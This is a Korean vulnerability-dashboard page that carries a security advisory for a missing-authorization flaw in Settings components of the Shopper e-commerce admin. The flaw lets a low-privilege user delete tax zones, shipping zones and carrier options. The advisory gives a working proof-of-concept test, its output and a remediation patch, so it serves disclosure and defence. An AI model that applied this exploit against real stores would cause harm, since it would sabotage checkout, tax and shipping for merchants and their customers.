Kestrel
대시보드로 돌아가기
CVE-2026-56826MEDIUM· 5.4GHSA대응게시일: 2026. 09. 11.수정일: 2026. 09. 11.

Shopping privilege escalation through missing authorization in Settings components

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
5.4medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향낮음
가용성 영향낮음
버전별 점수
CVSS 3.15.4MODERATE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

상세 설명

Summary

Four Livewire components in the Settings area expose destructive Filament actions (delete / edit) that perform no server-side authorization. Any authenticated user who can reach the Settings pages — i.e. holding only the coarse access_setting permission, without being an admin and without any delete_*/edit_* permission — can delete tax zones, tax rates, shipping zones, and carrier (shipping-rate) options by invoking the component action directly over the Livewire endpoint.

These records sit on the storefront checkout path, so deleting them breaks shipping-rate calculation, removes region-scoped payment methods, and corrupts tax resolution at checkout.

This is inconsistent with the rest of the admin, where destructive actions are gated by granular permissions (e.g. Settings/Locations/Index uses ->authorize('delete_inventories'), and Order/Detail gates mutating actions with edit_orders).

Affected components

ComponentFileUnauthorized action
Settings\Zones\ZoneShippingOptionspackages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php:47deleteCarrierOption::query()->find($arguments['id'])->delete() (id is client-supplied)
Settings\Zones\Detailpackages/admin/src/Livewire/Components/Settings/Zones/Detail.php:46deleteDeleteAction on the bound Zone
Settings\Taxes\Detailpackages/admin/src/Livewire/Components/Settings/Taxes/Detail.php:42deleteDeleteAction on the bound TaxZone
Settings\Taxes\TaxRatespackages/admin/src/Livewire/Components/Settings/Taxes/TaxRates.php:97deleteDeleteAction on a TaxRate

Each file contains zero authorize calls, and the actions declare neither ->authorize() nor an enforced ->visible() guard.

Details

The Settings pages mount these as child Livewire components. The parent page authorizes access_setting (e.g. Pages/Settings/Taxes.php:29), but the child components do not re-check authorization, and their destructive actions carry no ->authorize(). Because each Livewire component handles its own /livewire/update requests, the action executes purely on the page-level access_setting gate — there is no per-resource permission, and delete_zones / delete_taxes permissions are never even generated by the seeder (packages/admin/database/seeders/PermissionsTableSeeder.php).

ZoneShippingOptions::deleteAction() is the clearest case — it deletes by an id taken straight from the client action arguments with no scoping and no permission check:

bash
1// packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php
2public function deleteAction(): Action
3{
4 return Action::make('delete')
5 ->requiresConfirmation()
6 // ... no ->authorize(), no ->visible()
7 ->action(function (array $arguments): void {
8 CarrierOption::query()->find($arguments['id'])->delete(); // client-controlled id
9 // ...
10 });
11}

Proof of Concept

Confirmed with the project's own test harness (Pest + Orchestra Testbench, SQLite) — the real Livewire/Filament code path, executed as a non-admin user holding only access_setting.

bash
1use Livewire\Livewire;
2use Shopper\Core\Models\{CarrierOption, Zone};
3use Shopper\Livewire\Components\Settings\Zones\ZoneShippingOptions;
4use Tests\Core\Stubs\User;
5
6uses(Tests\Admin\TestCase::class);
7
8it('low-priv access_setting user deletes a CarrierOption with no authorization', function (): void {
9 $attacker = User::factory()->create();
10 $attacker->givePermissionTo('access_setting'); // NOT admin, NO delete_* permission
11 $this->actingAs($attacker, config('shopper.auth.guard'));
12
13 $zone = Zone::factory()->create();
14 $option = CarrierOption::factory()->create(['zone_id' => $zone->id]);
15
16 Livewire::test(ZoneShippingOptions::class, ['selectedZoneId' => $zone->id])
17 ->callAction('delete', arguments: ['id' => $option->id]);
18
19 expect(CarrierOption::query()->find($option->id))->toBeNull(); // deleted -> vulnerable
20});

Result:

bash
1Attacker: isAdmin()=false, can('access_setting')=true, can('delete_zones')=false, can('edit_zones')=false
2[BEFORE] CarrierOption count = 1 (target #1 'DHL Express' exists = YES)
3[ATTACK] callAction('delete', id=1) on ZoneShippingOptions
4[AFTER ] CarrierOption count = 0 (target #1 exists = NO -> deleted)
5
6PASS 3 passed (11 assertions)
7 ✓ CONTROL — Order/Detail::markPaid is correctly hidden without edit_orders (harness enforces declared authz)
8 ✓ a CarrierOption is deleted by the low-priv user
9 ✓ a shipping Zone is deleted by the low-priv user

The CONTROL case rules out a false positive: the same harness correctly denies Order/Detail::markPaid for a user lacking edit_orders, proving authorization is enforced when a component declares it — these four components simply declare none.

Impact

A low-privileged staff member (or a compromised low-privileged account) can sabotage the storefront's checkout/revenue path without any delete permission:

  • Delete a CarrierOption → that shipping rate disappears from checkout for the zone.
  • Delete a Zone → removes the country → carrier/payment-method/currency mapping; customers shipping to those countries lose all shipping and payment options (CarrierRateService::getRatesForZone / getManualRates read these directly).
  • Delete a TaxZone / TaxRateTaxCalculator::resolveZone() can no longer resolve the zone, corrupting tax calculation at checkout.

Net effect: integrity and availability damage to live commerce configuration, performed by a principal who was never granted that authority (least-privilege violation).

Secondary issue found while reproducing

Zones\Detail::deleteAction()->after() calls $this->reset('zone'), but zone is a #[Computed] method (not a property), so it throws ReflectionException after the row is deleted. Worth fixing alongside the authorization gap.

Suggested remediation

Add an authorization check to each action, and ideally a mount() guard on each child component, matching the pattern already used in Settings/Locations/Index.php and Team/RolePermission.php:

text
1public function deleteAction(): Action
2{
3 return Action::make('delete')
4 ->authorize('access_setting') // or a new granular delete_zones / delete_taxes permission
5 ->requiresConfirmation()
6 // ...
7}

Apply to the delete (and edit) actions in all four components. Consider also generating granular *_zones / *_taxes permissions so settings access can follow least privilege, and fix the $this->reset('zone') call in Zones\Detail.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.